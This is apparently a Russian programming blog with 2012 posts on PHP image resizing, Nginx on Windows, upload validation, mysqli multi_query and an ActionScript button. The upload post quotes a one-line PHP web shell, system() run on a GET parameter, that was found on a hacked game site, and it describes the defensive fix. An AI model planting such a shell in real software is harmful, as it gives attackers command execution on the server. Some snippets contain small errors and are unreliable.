понедельник, 29 октября 2012 г.

Расчёт при ресайзе изображения

Сегодня я хотел бы поделиться функцией, которую использую всегда, когда мне надо изменить размеры картинки. Эта функция позволяет с сохранением пропорции, либо вписать изображение в заданный прямоугольник, либо изменить какое-то одно измерение (длинну, ширину) до указанного.
function resizeProp($in_w, $in_h, $out_w, $out_h, $inlay = true)
{
    if (    (!$inlay AND
                (  ($in_h > $in_w
                    AND ($in_h / $in_w) < ($out_h / $out_w))
                OR
                    ($in_w > $in_h
                    AND ($in_w / $in_h) > ($out_w / $out_h))
                ))
            OR
            ($inlay AND
                (   ($in_h > $in_w
                    AND ($in_h / $in_w) > ($out_h / $out_w))
                OR
                    ($in_w > $in_h
                    AND ($in_w / $in_h) < ($out_w / $out_h))))
        )
    {
        $height = $out_h;
        $width = ($in_w / $in_h) * $height;
 
    } else {
 
        $width = $out_w;
        $height = ($in_h / $in_w) * $width;
    }
 
    return array('w' => round($width), 'h' => round($height));
}
$in_w, $in_h - размеры изображения (размер на входе).
Параметр $inlay - указывает на необходимость вписать изображение в прямоугольник с размерами: $out_w, $out_h (размер на выходе).  В противном случае ($inlay = false), прямоугольник будет вписан в изображение.

Сложное условие в "if" определяет какое из измерений можно просто привести к нужному, второе измерение уже вычисляется используя исходную пропорцию.

понедельник, 22 октября 2012 г.

Nginx, PHP под Windows и запрет доступа

При работе с проектом, упоминавшемся в предыдущей статье, для меня имелась дополнительная трудность: веб сервером был Nginx (pronounced "engine x").

Чтобы не тестировать настройки а рабочем сервере, я решил установить тестовую версию на рабочем компьютере (Windows XP / Windows 7).

Конфигурация Nginx хорошо описана, но как запускать (не в окне cmd) сервер и PHP я не сразу разобрался.

А запускать (и nginx.exe и php.exe) можно в качестве Windows-сервиса, используя программу winsw. Тут описана конфигурация: https://github.com/kohsuke/winsw/wiki.

Для каждого сервиса нужна отдельная копия программы и файл конфигурации. Пример для PHP процесса:
<service>
    <id>php_cgi</id>
    <name>php_cgi</name>
    <description>PHP cgi</description>
    <executable>C:\webserver\php54\php-cgi.exe</executable>
    <logpath>C:\webserver\php54\winsw</logpath>
    <logmode>roll</logmode>
    <depend></depend>
    <startargument>-b127.0.0.1:9000</startargument>
    <stop>taskkill /f /IM php-cgi.exe</stop>
</service>
Пример для Nginx:
<service>
    <id>nginx_serv</id>
    <name>nginx_serv</name>
    <description>nginx server</description>
    <executable>C:/webserver/nginx-1.3.7/nginx.exe</executable>
    <logpath>C:/webserver/nginx-1.3.7/winsw</logpath>
    <logmode>roll</logmode>
    <depend></depend>
    <startargument>-pC:/webserver/nginx-1.3.7</startargument>
    <stopargument>-pC:/webserver/nginx-1.3.7 -s stop
        </stopargument>
</service>
Установка сервиса:

C:\webserver\nginx-1.3.7\winsw\winsw-1.11-bin.exe install

Удаление (сервис не удалится, пока не будет остановлен):

C:\webserver\nginx-1.3.7\winsw\winsw-1.11-bin.exe install

После того, как установлен тестовый сервер, моим главным вопросом, было: как запретить доступ к определённым папкам сайта? Файлы .htaccess тут не работают и всю конфиграцию нужно прописывать в основном конфиге вэб-сервера.

Запрет на папку выглядит так:
server {
    <...>
 
    location /logs {
        deny all;
    }
 
    <...>
}
И дополнительно - бан по IP:
server {
    <...>
 
    deny 88.444.88.444;
 
    <...>
}

вторник, 16 октября 2012 г.

Проверка загружаемых файлов


Сейчас мне пришлось работать с одним из клонов известного Бойцовского клуба. Игра была взломана. Злоумышленник авторизуется под персонажами глав администрации и делает что хочет.

Основная проблема в грубом нарушении разработчиками правил безопасности при проверке получаемых от пользователя данных. Местами проверок вообще нет.

На данный момент я прохожу по основным скриптам, экранируя переменные получаемые извне. Также были удалены скрипты позволяющие скачать базу, просмотреть содержимое папок и информацию о сервере. Как они были залиты я ещё не выяснил.

Интересно, что один из хакерских скриптов был обнаружен моим антивирусом. При этом сам скрипт выглядел следующим образом:
// <несколько переменных>
preg_replace("/.*/e",
 "<мешанина символов на несколько десятков строк>");
Но в первую очередь на глаза мне попались странные файлы в корне сайта с названиями «config.php.gif», помимо прочего содержащие следующую строку:
<?php system(urldecode($_GET['q'])); ?>
Хоть этот вариант атаки и не сработал, благодаря тому что при загрузке изображений файлам принудительно присоединялось расширение «.gif», я хочу написать о проверке загружаемых файлов.

В моём случае обработка загружаемого изображения состояла из:
  • проверки расширения,
  • проверки mime типа при помощи getimagesize
  • принудительной установки расширения .gif.

По-моему правильнее было бы сделать следующим образом:
define('MAX_FILE_NAME_LEN', 250);
define('DEST_FOLDER', 'd:/htdocs/test/');
 
$img_file = $_FILES['file']['tmp_name'];
 
/*
[ проверка кода ошибки $_FILES['file']['error'] ]
*/
 
// Получение mime-типа
$img_info = getimagesize($img_file);
 
// Проверка на соответствие типу
// правильнее иметь список разрешённых типов, а не наоборот
switch ($img_info['mime'])
{
    case 'image/gif':
 
        $img_res = imagecreatefromgif($img_file);
        $file_ext = '.gif';
        break;
 
    case 'image/jpeg':
 
        $img_res = imagecreatefromjpeg($img_file);
        $file_ext = '.jpg';
        break;
 
    default:
 
        trigger_error('Unknown type "'. $img_info['mime'] .'"!',
            E_USER_ERROR);
        exit;
}
 
if ($img_res === false)
{
    trigger_error('File is not valid!', E_USER_ERROR);
    exit;
}
 
// Проверяем имя файла
$dot_pos    = strrpos($_FILES['file']['name'], '.');
$name_chunk = substr($_FILES['file']['name'], 0, $dot_pos);
 
$name_chunk = substr($_FILES['file']['name'], 0,
    MAX_FILE_NAME_LEN);
$name_chunk = preg_replace('/[^\d_.a-z]/i', '', $name_chunk);
 
if (!strlen($name_chunk))
    $name_chunk = time();
 
// Избегаем перезаписывания файлов
$img_name = $name_chunk . $file_ext;
 
if (file_exists(DEST_FOLDER . $img_name))
{
    for ($i = 1;
        file_exists(DEST_FOLDER . $name_chunk . '_' . $i .
        $file_ext); $i++);
 
    $img_name = $name_chunk . '_' . $i . $file_ext;
}
 
// This function checks to ensure that the file designated by
// filename is a valid upload file (meaning that it was uploaded
// via PHP's HTTP POST upload mechanism).
move_uploaded_file($_FILES['file']['tmp_name'],
    DEST_FOLDER . $img_name);
Дополнительно можно разумно ограничить минимальный и максимальный размер файла.

Помимо самого файла, нужно обезопасить директорию назначения, и снять с неё права на выполнение:
chmod a-x /dir/path
PS: а ещё я сегодня получил права :)

понедельник, 8 октября 2012 г.

PHP расширение mysqli - множественные запросы



Помимо выполнения одного запроса за раз, MySQL и расширение mysqli предоставляет возможность выполнения множества запросов одной строкой. При этом можно получить выгоду в скорости за счёт передачи данных.

Для реализации этой возможности mysqli предоставляет метод multi_query(), который в качестве параметра принимает строку запросов, разделённых символом «;». Длинна строки ограничена количеством байт указанными директивой MySQL max_allowed_packet.

mysql> SHOW VARIABLES LIKE 'max_allowed_packet';
+--------------------+---------+
| Variable_name      | Value   |
+--------------------+---------+
| max_allowed_packet | 1048576 |
+--------------------+---------+
1 row in set (0.13 sec)

После отправки запроса, необходимо выбрать все результаты (даже если запросы не возвращают результатов). В противном случае при новых запросах получим ошибку «Error: Commands out of sync; you can't run this command now». При этом результат первого запроса выбирается автоматически.

Для выборки результатов можно использовать, например, следующий код:
do
{
    $result = $mysqli->store_result();
 
    if (is_object($result))
    {
        while ($row = $result->fetch_assoc())
        {
            print_r($row);
            echo '<br />';
        }
 
        $result->free();
    }
 
    echo '----<br />';
    break;
}
while ($mysqli->more_results() AND $mysqli->next_result());
В отличии от метода query(), метод для множественных запросов multi_query() подвержен SQL-инъекциям. Поэтому применять его нужно с осторожностью.

Метод next_result() возвращает false в случае, когда закончились результаты и когда запрос вернул ошибку. Поэтому на ошибку нужно проверять и после оконачания цикла выборки.
$mysqli = new mysqli('localhost', 'user', 'pass', 'test');
 
$mysqli->multi_query('  SELECT * FROM `test`;
    INSERT INT `test` (`value`) VALUES ("value");') OR
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
 
do
{
    $result = $mysqli->store_result();
 
    if (is_object($result))
    {
        while ($row = $result->fetch_assoc())
        {
            print_r($row);
            echo '<br />';
        }
 
        $result->free();
    }
 
    echo '----<br />';
    break;
}
while ($mysqli->more_results() AND $mysqli->next_result());
 
if ($mysqli->errno)
{
    exit('Error: (' . $mysqli->errno . ') ' . $mysqli->error);
}
 
$mysqli->close();

понедельник, 1 октября 2012 г.

AS 3.0 - простая кнопка

Создание кнопки при помощи графических средств Adobe Flash – это дело нескольких кликов, но когда мне понадобилось сделать тоже самое в чистом ActionScript, то я встал в тупик. Правда ненадолго.

Предлагаю вашему вниманию класс кнопки с текстом и, естественно, действием на клик.

package ui 
{
    import flash.display.Shape;
    import flash.display.SimpleButton;
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.text.TextField;
    import flash.text.TextFormat;
    import flash.text.TextFieldAutoSize;
    import flash.events.MouseEvent;
 
    public class Button extends Sprite
    {
        private var button_obj : SimpleButton;
        private var _label : String;
        private var _width : uint   = 100;
        private var _height : uint  = 30;
 
        private var upColor : uint      = 0xC0C0C0;
        private var overColor : uint    = 0xE2E2E2;
        private var downColor : uint    = 0xFFFFFF;
 
        private var _handler : Function;
 
 
        public function set click(handler : Function) : void
        {
            _handler = handler;
            addEventListener(MouseEvent.CLICK, clickHandler);
        }
 
        private function clickHandler(e : MouseEvent) : void
        {
            _handler();
        }
 
        public function Button( width : uint = 0,
                                height : uint = 0,
                                label : String = '')
        {
            _label = label;
 
            if (width > 0)
                _width = width
 
            if (height > 0)
                _height = height
 
            button_obj = new SimpleButton;
 
            button_obj.downState =
                stateObject(downColor, _width, _height);
 
            button_obj.overState =
                stateObject(overColor, _width, _height);
 
            button_obj.upState =
                stateObject(upColor, _width, _height);
 
            button_obj.hitTestState =
                stateObject(upColor, _width, _height);
 
            button_obj.useHandCursor = true;
 
            addChild(button_obj);
 
            var text_label : TextField = createLabel();
 
            text_label.x = Math.round(width * 0.5
                        - text_label.width * 0.5);
 
            text_label.y = Math.round(height * 0.5
                        - text_label.height * 0.5);
 
            addChild(text_label);
        }
 
        private function stateObject(   color : uint,
                                        width : uint,
                                        height : uint) : Shape
        {
            var shape : Shape = new Shape;
 
            shape.graphics.beginFill(color);
            shape.graphics.drawRect(0, 0, width, height);
            shape.graphics.endFill();
 
            return shape;
        }
 
        private function createLabel() : TextField
        {
            var format : TextFormat =
                new TextFormat('_sans', 11);
 
            var text_label : TextField  = new TextField();
 
            text_label.selectable   = false;
            text_label.mouseEnabled = false;
            text_label.autoSize     = TextFieldAutoSize.LEFT;
            text_label.defaultTextFormat = format;
            text_label.text         = _label;
 
            return text_label;
        }
    }
}

По сути это класс SimpleButton, с присоединённым текстом, который выравнен по центру. Использовать его можно, например, так:
// button Hello
var butt_hello : Button = new Button(100, 30, 'Hello');
 
butt_hello.x = 10;
butt_hello.y = 210;
 
butt_hello.click = function () : void { trace('Hello!') };